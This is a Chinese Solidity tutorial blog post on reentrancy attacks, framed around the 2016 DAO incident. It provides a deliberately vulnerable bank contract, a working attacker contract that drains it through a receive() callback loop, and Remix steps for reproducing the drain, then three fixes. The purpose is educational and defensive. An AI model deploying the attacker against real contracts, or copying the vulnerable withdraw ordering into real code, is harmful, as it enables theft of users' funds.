Solidity 实战【三】:重入攻击与防御(从 0 到 1 看懂 DAO 事件)

前言

如果你只学一个 Solidity 安全问题

那一定是:重入攻击(Reentrancy)

因为它:

改变了以太坊历史(DAO 事件)

直接导致千万美元被盗

至今仍是合约审计的第一优先级

这一篇,我们不背概念、不贴图。

👉 直接写代码,把钱"偷"一遍

一、什么是重入攻击?一句话先立住概念

一句话版本:

在合约"还没更新状态"之前,被外部合约反复调用同一个函数

关键不是"攻击",而是这四个字:

👉 状态更新顺序错误

二、历史背景:DAO 事件到底发生了什么?

2016 年:

DAO 合约管理着 360 万 ETH

一个看似无害的提款函数

被反复调用

钱被一笔一笔掏空

结果:

以太坊被迫硬分叉

ETC 诞生

👉 不是密码学失败,而是工程失误

三、实战目标(先定攻击模型)

我们这次要做三件事:

1️⃣ 写一个 有漏洞的存钱/取钱合约

2️⃣ 写一个 攻击合约,把钱偷走

3️⃣ 用三种方式 彻底修复漏洞

你会清楚看到:

"钱是怎么没的"

四、第一步:写一个"看起来没问题"的合约(受害者)

4.1 有漏洞的合约:VulnerableBank.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

contract VulnerableBank {

复制代码
mapping(address => uint256) public balances;

// 存钱
function deposit() external payable {
    balances[msg.sender] += msg.value;
}

// 取钱(⚠️ 有漏洞)
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "no balance");

    // 先转账
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "transfer failed");

    // 再更新余额(致命)
    balances[msg.sender] = 0;
}

}

4.2 问题出在哪?

关键顺序是:

转账 → 再清余额

而 call 会:

把控制权交给外部合约

允许对方在 fallback 中再次调用 withdraw

👉 门还没关,人已经进来第二次了

五、第二步:写攻击合约(真正的"偷钱")

5.1 攻击合约:Attacker.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import "./VulnerableBank.sol";

contract Attacker {

复制代码
VulnerableBank public bank;
address public owner;

constructor(address _bank) {
    bank = VulnerableBank(_bank);
    owner = msg.sender;
}

// 发起攻击
function attack() external payable {
    require(msg.value > 0, "need ETH");

    bank.deposit{value: msg.value}();
    bank.withdraw();
}

// fallback:关键!
receive() external payable {
    if (address(bank).balance > 0) {
        bank.withdraw();
    }
}

function getBalance() external view returns (uint256) {
    return address(this).balance;
}

}

5.2 攻击流程(一步不跳)

1️⃣ 攻击者存 1 ETH

2️⃣ 调用 withdraw

3️⃣ Bank 转账 → 触发 receive

4️⃣ receive 再次调用 withdraw

5️⃣ Bank 还没清余额 → 再转

6️⃣ 循环直到 Bank 被掏空

👉 一次交易,多次取钱

六、在 Remix 中复现攻击(新手必做)

操作步骤:

1️⃣ 部署 VulnerableBank

2️⃣ 存入 5 ETH(用普通账号)

3️⃣ 部署 Attacker(传入 Bank 地址)

4️⃣ 调用 attack(),转 1 ETH

5️⃣ 查看:

Bank balance → 0

Attacker balance → > 1 ETH

👉 你刚刚亲手复现了 DAO 攻击原理

七、防御方式一:Checks-Effects-Interactions(最重要)

原则一句话:

先改状态,再和外部交互

修复后的 withdraw

function withdraw() external {

uint256 amount = balances[msg.sender];

require(amount > 0, "no balance");

复制代码
// 先更新状态
balances[msg.sender] = 0;

// 再转账
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");

}

👉 90% 的重入问题,到这里就结束了

八、防御方式二:重入锁(Reentrancy Guard)

8.1 最简单的锁

bool private locked;

modifier nonReentrant() {

require(!locked, "reentrant call");

locked = true;

_;

locked = false;

}

8.2 使用锁

function withdraw() external nonReentrant {

uint256 amount = balances[msg.sender];

require(amount > 0, "no balance");

复制代码
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");

}

👉 OpenZeppelin 的 ReentrancyGuard 就是这个思路

九、防御方式三:限制可调用者(业务级)

例如:

不给合约地址提款

使用白名单

使用 Pull Payment 模式

示例(简单版):

require(msg.sender == tx.origin, "no contract");

⚠️ 注意:

这是业务约束

不是通用安全方案

不能单独依赖

十、你已经真正理解的 5 个安全本质

通过这一篇,你已经掌握:

1️⃣ call 会交出控制权

2️⃣ 状态更新顺序决定生死

3️⃣ 攻击不需要"黑科技"

4️⃣ 一行代码顺序 = 几千万美金

5️⃣ 安全是工程问题,不是语法问题

十一、工程师最容易犯的 3 个错误

❌ 以为 "我这个合约没人会攻击"

❌ 以为 "call + require 就安全了"

❌ 以为 "学完语法就能写合约"

👉 攻击者只需要一次机会

总结

如果说:

实战【一】让你 会写合约

实战【二】让你 敢管钱

那实战【三】就是:

让你知道,钱是怎么没的

从这一刻起,你已经正式跨过:

👉 Solidity 新手 → Solidity 工程师

下一篇预告(直接拉开差距)

👉 Solidity 实战【四】:手写一个可升级合约(Proxy 模式)

你会学到:

为什么合约要升级

delegatecall 是什么

UUPS / Transparent Proxy 原理

这是 真正进入生产级合约的门槛。

相关推荐
Bigger20 小时前
告别版本焦虑:如何为 Hugo 项目定制专属构建环境
前端·架构·go
kida_yuan1 天前
【以太来袭】4. Geth 原理与解析
区块链
刀法如飞2 天前
一款Go语言Gin框架MVC脚手架,满足大部分场景
go·mvc·gin
Coding君2 天前
每日一Go-26、Go语言进阶:深入并发模式2
go
怕浪猫2 天前
第19章:Go语言工具链与工程实践
后端·go·编程语言
blockcoach3 天前
刘教链|金融市场中的物理学规律:平方根定律
区块链
碳链价值3 天前
吴忌寒清仓比特币背后
区块链
blockcoach3 天前
刘教链|BTC的时光机
区块链
tyung3 天前
Go 为什么没成为游戏服务器主流语言
go